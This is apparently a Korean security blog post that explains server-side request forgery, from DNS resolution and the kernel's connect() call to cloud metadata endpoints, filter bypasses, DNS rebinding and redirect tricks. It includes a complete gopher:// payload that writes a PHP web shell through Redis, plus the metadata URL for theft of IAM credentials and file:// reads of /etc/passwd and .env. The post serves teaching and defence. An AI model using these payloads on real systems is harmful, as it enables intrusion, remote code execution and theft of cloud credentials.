[Web] Web · 작성: 2026-07-19 19:15:17 · 수정: 2026-07-21 22:53:06 · 조회 22
SSRF를 "서버가 대신 요청을 보내는 취약점"이라고만 알면, 왜 방화벽으로 외부망을 다 막아둔 서버에서도 SSRF가 치명적인지, 왜 169.254.169.254라는 이상한 IP 하나가 클라우드 전체를 무너뜨리는 단초가 되는지를 설명할 수 없다. 이 글은 DNS 조회부터 커널의 소켓 연결(connect) 시스템 콜, 그리고 클라우드 메타데이터 서비스까지 파고든다.
서버가 사용자 입력을 받아 "대신 요청"을 보내는 기능(웹훅 URL 등록, 이미지 프록시, PDF 렌더링을 위한 외부 리소스 가져오기, URL 미리보기)이 있다면 대략 이런 코드가 된다.
// 예시: URL 미리보기 기능 (이 블로그엔 없음, 설명용 예시)
const res = await axios.get(userProvidedUrl);
여기서 신뢰가 두 번 전환된다. 첫 번째는 "사용자 입력(문자열)"이 "서버가 실행할 네트워크 요청"으로 바뀌는 지점 — SQLi가 "데이터→명령"으로 바뀌는 것과 같은 구조다. 두 번째가 SSRF만의 고유한 지점인데, 이 요청이 서버 자신의 네트워크 위치(내부망, 클라우드 메타데이터, localhost)에서 실행된다는 것 — 즉 공격자는 자기 브라우저가 아니라 서버의 네트워크 신뢰 위치를 그대로 빌려 쓰는 셈이다.
axios.get(url) 한 줄이 실제로 거치는 4단계http://169.254.169.254/latest/meta-data/ 문자열을 스킴/호스트/포트/경로로 분해getaddrinfo 시스템 콜) — 호스트가 도메인이면 OS의 리졸버가 IP로 변환. IP를 직접 넣으면 이 단계가 생략된다는 게 중요한 우회 포인트가 된다(아래 참고)connect() 시스템 콜) — Node의 libuv가 커널에게 "이 IP:포트로 3-way handshake를 시작하라"고 요청. 이 시점부터는 완전히 커널 네트워크 스택의 라우팅 테이블이 개입한다 — 목적지 IP가 링크-로컬(169.254.0.0/16)이면, 게이트웨이를 거치지 않고 같은 네트워크 인터페이스 안에서 바로 응답하는 서비스로 연결된다. AWS/GCP/Azure의 메타데이터 서비스가 정확히 이 대역(169.254.169.254)을 쓰는 이유가 여기 있다 — 일반적인 아웃바운드 방화벽 규칙(0.0.0.0/0 차단 등)은 대개 "외부로 나가는" 트래픽을 겨냥하지, 인터페이스 로컬 스코프인 링크-로컬 주소는 애초에 라우팅되어 나가는 트래픽이 아니라서 방화벽 정책 대상에서 빠지는 경우가 많다."127.0.0.1, 169.254.169.254, 10.0.0.0/8 같은 사설 IP는 막아야지"라는 접근은 아래 두 가지로 쉽게 뚫린다.
① 인코딩 우회 — IP는 여러 표기법이 있다. 127.0.0.1을 10진수 정수로 쓰면 2130706433이고, 8진수로는 0177.0.0.1, 축약형으로는 127.1도 유효한 IP 표기다. 문자열 매칭 필터는 이 모든 변형을 다 알아야 하는데, getaddrinfo/inet_aton 같은 OS 레벨 파서는 이 표기법들을 전부 정상적으로 127.0.0.1로 해석해버린다 — 애플리케이션의 필터는 문자열을 보고, 실제 연결은 커널의 파서가 그 문자열을 재해석한 값으로 이뤄지기 때문에 둘 사이에 괴리가 생긴다.
② DNS Rebinding (진짜 TOCTOU) — 이게 더 근본적이다.
evil.com을 검사 시점에 조회 → 정상 공인 IP(1.2.3.4) 응답 → "안전하다" 판정connect()를 호출하는 시점엔 DNS가 다시 조회되며 이번엔 127.0.0.1을 반환pwntools 실전이나 Race Condition 글에서 다룬 TOCTOU와 본질적으로 동일한 취약점 패턴이 SSRF 방어에서도 그대로 나타난다는 게 이 취약점의 핵심 통찰이다.http://169.254.169.254/latest/meta-data/iam/security-credentials/ 삽입axios.get() 호출 → DNS 조회 생략(이미 IP) → 커널이 링크-로컬 스코프로 즉시 connect().../iam/security-credentials/<역할이름> 요청 → 임시 AccessKey/SecretKey/SessionToken이 평문 JSON으로 반환위 시나리오처럼 얻은 IAM 임시 자격증명으로 s3:ListBucket, ec2:DescribeInstances, 심하면 iam:* 권한까지 있다면 웹 애플리케이션 하나의 SSRF가 클라우드 계정 전체의 침해로 확장된다. 실제 대형 침해 사고(2019년 Capital One 사건 등)의 전형적인 패턴이 정확히 이 체인이다.
SSRF는 서버가 도달 가능한 내부망 전체를 "대신 스캔"할 수 있게 해준다. http://10.0.0.5:6379/처럼 다양한 IP:포트를 순회시켜 응답 시간/에러 패턴 차이로 열린 포트를 찾아낸 뒤, 인증 없이 열려있는 Redis를 발견하면 SSRF로 만든 HTTP 요청 스킴을 살짝 비틀어(gopher:// 스킴 지원 클라이언트라면) Redis 프로토콜 명령을 직접 주입할 수 있다.
gopher://internal-redis:6379/_CONFIG%20SET%20dir%20/var/www/html%0d%0aCONFIG%20SET%20dbfilename%20shell.php%0d%0aSET%20x%20%22%3C%3Fphp%20system(%24_GET%5B%27c%27%5D)%3B%3F%3E%22%0d%0aSAVE%0d%0a
Redis가 SAVE 시점에 디스크에 실제로 write() 시스템 콜을 호출해 웹 루트에 PHP 웹쉘 파일을 그대로 써버리면, SSRF 하나가 내부망에 격리되어 외부에서 직접 닿지 않던 서버의 원격 코드 실행으로 끝난다 — 방화벽이 "외부→내부"는 막아도 "내부 서버 자신이 만드는 내부 요청"은 막지 못한다는 SSRF의 본질이 여기서 극명하게 드러난다.
file:// 스킴과 결합 — SSRF가 LFI가 되는 순간URL을 받는 라이브러리가 http/https뿐 아니라 file:// 스킴까지 지원하도록 구현되어 있다면, file:///etc/passwd나 file:///Users/martina/webapp/.env처럼 네트워크 요청이 아니라 로컬 파일 읽기로 전환된다. 이 순간 SSRF는 사실상 LFI 글에서 다룬 Path Traversal/LFI와 동일한 결과를 만든다 — 같은 "서버가 사용자 대신 리소스를 가져온다"는 원리가 스킴만 바뀌었을 뿐 그대로 재현된 것.
http://공격자-서버.com/redirect처럼 필터를 통과하는 정상 URL을 최초 요청으로 넣고, 그 서버가 302 Location: http://169.254.169.254/...로 리다이렉트하게 만들면, HTTP 클라이언트 라이브러리가 리다이렉트를 자동으로 따라가는 기본 동작을 이용해 최초 검증을 통째로 우회할 수 있다. axios/node-fetch가 기본적으로 maxRedirects를 자동 처리한다는 점이 여기서 공격 표면이 된다.
connect()하고, 그 IP가 사설/링크로컬 대역인지 연결 직전에 재검증(TOCTOU 창을 최소화)http/https만) 강제SSRF를 "서버가 대신 요청하는 문제"가 아니라 **"애플리케이션의 신뢰 판단(필터)과 커널의 실제 네트워크 연결(라우팅 테이블, connect 시스템 콜) 사이에 시간차와 해석 차이가 존재한다는 구조적 틈"**으로 이해하면, 왜 화이트리스트만이 근본 해법인지, 그리고 왜 이 취약점 하나가 클라우드 계정 전체 장악부터 내부망 RCE까지 이어지는 가장 파급력 큰 체이닝의 출발점이 되는지가 같은 논리로 설명된다.